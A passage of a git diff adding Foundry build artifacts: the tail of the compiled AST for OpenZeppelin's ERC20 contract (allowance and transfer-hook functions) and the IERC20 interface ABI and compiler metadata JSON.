uint256)"}},"id":47784,"indexExpression":{"id":47782,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47755,"src":"10409:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"10390:27:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":47785,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47757,"src":"10420:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"10390:36:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":47787,"nodeType":"ExpressionStatement","src":"10390:36:30"},{"eventCall":{"arguments":[{"id":47789,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47753,"src":"10450:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47790,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47755,"src":"10457:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47791,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47757,"src":"10466:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47788,"name":"Approval","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47882,"src":"10441:8:30","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47792,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10441:32:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47793,"nodeType":"EmitStatement","src":"10436:37:30"}]},"documentation":{"id":47751,"nodeType":"StructuredDocumentation","src":"9693:412:30","text":" @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n This internal function is equivalent to `approve`, and can be used to\n e.g. set automatic allowances for certain subsystems, etc.\n Emits an {Approval} event.\n Requirements:\n - `owner` cannot be the zero address.\n - `spender` cannot be the zero address."},"implemented":true,"kind":"function","modifiers":[],"name":"_approve","nameLocation":"10119:8:30","parameters":{"id":47758,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47753,"mutability":"mutable","name":"owner","nameLocation":"10145:5:30","nodeType":"VariableDeclaration","scope":47795,"src":"10137:13:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47752,"name":"address","nodeType":"ElementaryTypeName","src":"10137:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47755,"mutability":"mutable","name":"spender","nameLocation":"10168:7:30","nodeType":"VariableDeclaration","scope":47795,"src":"10160:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47754,"name":"address","nodeType":"ElementaryTypeName","src":"10160:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47757,"mutability":"mutable","name":"amount","nameLocation":"10193:6:30","nodeType":"VariableDeclaration","scope":47795,"src":"10185:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47756,"name":"uint256","nodeType":"ElementaryTypeName","src":"10185:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10127:78:30"},"returnParameters":{"id":47759,"nodeType":"ParameterList","parameters":[],"src":"10223:0:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":47838,"nodeType":"FunctionDefinition","src":"10761:441:30","nodes":[],"body":{"id":47837,"nodeType":"Block","src":"10881:321:30","nodes":[],"statements":[{"assignments":[47806],"declarations":[{"constant":false,"id":47806,"mutability":"mutable","name":"currentAllowance","nameLocation":"10899:16:30","nodeType":"VariableDeclaration","scope":47837,"src":"10891:24:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47805,"name":"uint256","nodeType":"ElementaryTypeName","src":"10891:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":47811,"initialValue":{"arguments":[{"id":47808,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47798,"src":"10928:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47809,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47800,"src":"10935:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":47807,"name":"allowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47417,"src":"10918:9:30","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view returns (uint256)"}},"id":47810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10918:25:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"10891:52:30"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47818,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47812,"name":"currentAllowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47806,"src":"10957:16:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"arguments":[{"id":47815,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10982:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":47814,"name":"uint256","nodeType":"ElementaryTypeName","src":"10982:7:30","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"id":47813,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"10977:4:30","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":47816,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10977:13:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint256","typeString":"type(uint256)"}},"id":47817,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"10991:3:30","memberName":"max","nodeType":"MemberAccess","src":"10977:17:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"10957:37:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":47836,"nodeType":"IfStatement","src":"10953:243:30","trueBody":{"id":47835,"nodeType":"Block","src":"10996:200:30","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47822,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47820,"name":"currentAllowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47806,"src":"11018:16:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":47821,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47802,"src":"11038:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11018:26:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a20696e73756666696369656e7420616c6c6f77616e6365","id":47823,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"11046:31:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_3b6607e091cba9325f958656d2b5e0622ab7dc0eac71a26ac788cb25bc19f4fe","typeString":"literal_string \"ERC20: insufficient allowance\""},"value":"ERC20: insufficient allowance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_3b6607e091cba9325f958656d2b5e0622ab7dc0eac71a26ac788cb25bc19f4fe","typeString":"literal_string \"ERC20: insufficient allowance\""}],"id":47819,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"11010:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47824,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11010:68:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47825,"nodeType":"ExpressionStatement","src":"11010:68:30"},{"id":47834,"nodeType":"UncheckedBlock","src":"11092:94:30","statements":[{"expression":{"arguments":[{"id":47827,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47798,"src":"11129:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47828,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47800,"src":"11136:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47831,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47829,"name":"currentAllowance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47806,"src":"11145:16:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":47830,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47802,"src":"11164:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11145:25:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47826,"name":"_approve","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47795,"src":"11120:8:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47832,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11120:51:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47833,"nodeType":"ExpressionStatement","src":"11120:51:30"}]}]}}]},"documentation":{"id":47796,"nodeType":"StructuredDocumentation","src":"10486:270:30","text":" @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n Does not update the allowance amount in case of infinite allowance.\n Revert if not enough allowance is available.\n Might emit an {Approval} event."},"implemented":true,"kind":"function","modifiers":[],"name":"_spendAllowance","nameLocation":"10770:15:30","parameters":{"id":47803,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47798,"mutability":"mutable","name":"owner","nameLocation":"10803:5:30","nodeType":"VariableDeclaration","scope":47838,"src":"10795:13:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47797,"name":"address","nodeType":"ElementaryTypeName","src":"10795:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47800,"mutability":"mutable","name":"spender","nameLocation":"10826:7:30","nodeType":"VariableDeclaration","scope":47838,"src":"10818:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47799,"name":"address","nodeType":"ElementaryTypeName","src":"10818:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47802,"mutability":"mutable","name":"amount","nameLocation":"10851:6:30","nodeType":"VariableDeclaration","scope":47838,"src":"10843:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47801,"name":"uint256","nodeType":"ElementaryTypeName","src":"10843:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10785:78:30"},"returnParameters":{"id":47804,"nodeType":"ParameterList","parameters":[],"src":"10881:0:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":47849,"nodeType":"FunctionDefinition","src":"11786:121:30","nodes":[],"body":{"id":47848,"nodeType":"Block","src":"11905:2:30","nodes":[],"statements":[]},"documentation":{"id":47839,"nodeType":"StructuredDocumentation","src":"11208:573:30","text":" @dev Hook that is called before any transfer of tokens. This includes\n minting and burning.\n Calling conditions:\n - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n will be transferred to `to`.\n - when `from` is zero, `amount` tokens will be minted for `to`.\n - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n - `from` and `to` are never both zero.\n To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]."},"implemented":true,"kind":"function","modifiers":[],"name":"_beforeTokenTransfer","nameLocation":"11795:20:30","parameters":{"id":47846,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47841,"mutability":"mutable","name":"from","nameLocation":"11833:4:30","nodeType":"VariableDeclaration","scope":47849,"src":"11825:12:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47840,"name":"address","nodeType":"ElementaryTypeName","src":"11825:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47843,"mutability":"mutable","name":"to","nameLocation":"11855:2:30","nodeType":"VariableDeclaration","scope":47849,"src":"11847:10:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47842,"name":"address","nodeType":"ElementaryTypeName","src":"11847:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47845,"mutability":"mutable","name":"amount","nameLocation":"11875:6:30","nodeType":"VariableDeclaration","scope":47849,"src":"11867:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47844,"name":"uint256","nodeType":"ElementaryTypeName","src":"11867:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"11815:72:30"},"returnParameters":{"id":47847,"nodeType":"ParameterList","parameters":[],"src":"11905:0:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":47860,"nodeType":"FunctionDefinition","src":"12495:120:30","nodes":[],"body":{"id":47859,"nodeType":"Block","src":"12613:2:30","nodes":[],"statements":[]},"documentation":{"id":47850,"nodeType":"StructuredDocumentation","src":"11913:577:30","text":" @dev Hook that is called after any transfer of tokens. This includes\n minting and burning.\n Calling conditions:\n - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n has been transferred to `to`.\n - when `from` is zero, `amount` tokens have been minted for `to`.\n - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n - `from` and `to` are never both zero.\n To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]."},"implemented":true,"kind":"function","modifiers":[],"name":"_afterTokenTransfer","nameLocation":"12504:19:30","parameters":{"id":47857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47852,"mutability":"mutable","name":"from","nameLocation":"12541:4:30","nodeType":"VariableDeclaration","scope":47860,"src":"12533:12:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47851,"name":"address","nodeType":"ElementaryTypeName","src":"12533:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47854,"mutability":"mutable","name":"to","nameLocation":"12563:2:30","nodeType":"VariableDeclaration","scope":47860,"src":"12555:10:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47853,"name":"address","nodeType":"ElementaryTypeName","src":"12555:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47856,"mutability":"mutable","name":"amount","nameLocation":"12583:6:30","nodeType":"VariableDeclaration","scope":47860,"src":"12575:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47855,"name":"uint256","nodeType":"ElementaryTypeName","src":"12575:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12523:72:30"},"returnParameters":{"id":47858,"nodeType":"ParameterList","parameters":[],"src":"12613:0:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"}],"abstract":false,"baseContracts":[{"baseName":{"id":47282,"name":"Context","nameLocations":["1421:7:30"],"nodeType":"IdentifierPath","referencedDeclaration":48281,"src":"1421:7:30"},"id":47283,"nodeType":"InheritanceSpecifier","src":"1421:7:30"},{"baseName":{"id":47284,"name":"IERC20","nameLocations":["1430:6:30"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1430:6:30"},"id":47285,"nodeType":"InheritanceSpecifier","src":"1430:6:30"},{"baseName":{"id":47286,"name":"IERC20Metadata","nameLocations":["1438:14:30"],"nodeType":"IdentifierPath","referencedDeclaration":47964,"src":"1438:14:30"},"id":47287,"nodeType":"InheritanceSpecifier","src":"1438:14:30"}],"canonicalName":"ERC20","contractDependencies":[],"contractKind":"contract","documentation":{"id":47281,"nodeType":"StructuredDocumentation","src":"230:1172:30","text":" @dev Implementation of the {IERC20} interface.\n This implementation is agnostic to the way tokens are created. This means\n that a supply mechanism has to be added in a derived contract using {_mint}.\n For a generic mechanism see {ERC20PresetMinterPauser}.\n TIP: For a detailed writeup see our guide\n https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n to implement supply mechanisms].\n We have followed general OpenZeppelin Contracts guidelines: functions revert\n instead returning `false` on failure. This behavior is nonetheless\n conventional and does not conflict with the expectations of ERC20\n applications.\n Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n This allows applications to reconstruct the allowance for all accounts just\n by listening to said events. Other implementations of the EIP may not emit\n these events, as it isn't required by the specification.\n Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n functions have been added to mitigate the well-known issues around setting\n allowances. See {IERC20-approve}."},"fullyImplemented":true,"linearizedBaseContracts":[47861,47964,47939,48281],"name":"ERC20","nameLocation":"1412:5:30","scope":47862,"usedErrors":[],"usedEvents":[47873,47882]}],"license":"MIT"},"id":30} \ No newline at end of file diff --git a/contracts/out/ERC20/IERC20.sol/IERC20.json b/contracts/out/ERC20/IERC20.sol/IERC20.json new file mode 100644 index 000000000..245b8bf4d --- /dev/null +++ b/contracts/out/ERC20/IERC20.sol/IERC20.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"allowance(address,address)":"dd62ed3e","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Interface of the ERC20 standard as defined in the EIP.\",\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero.\"}},\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. This value changes when {approve} or {transferFrom} are called.\"},\"approve(address,uint256)\":{\"details\":\"Sets `amount` as the allowance of `spender` over the caller's tokens. Returns a boolean value indicating whether the operation succeeded. IMPORTANT: Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 Emits an {Approval} event.\"},\"balanceOf(address)\":{\"details\":\"Returns the amount of tokens owned by `account`.\"},\"totalSupply()\":{\"details\":\"Returns the amount of tokens in existence.\"},\"transfer(address,uint256)\":{\"details\":\"Moves `amount` tokens from the caller's account to `to`. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` is then deducted from the caller's allowance. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":\"IERC20\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","type":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs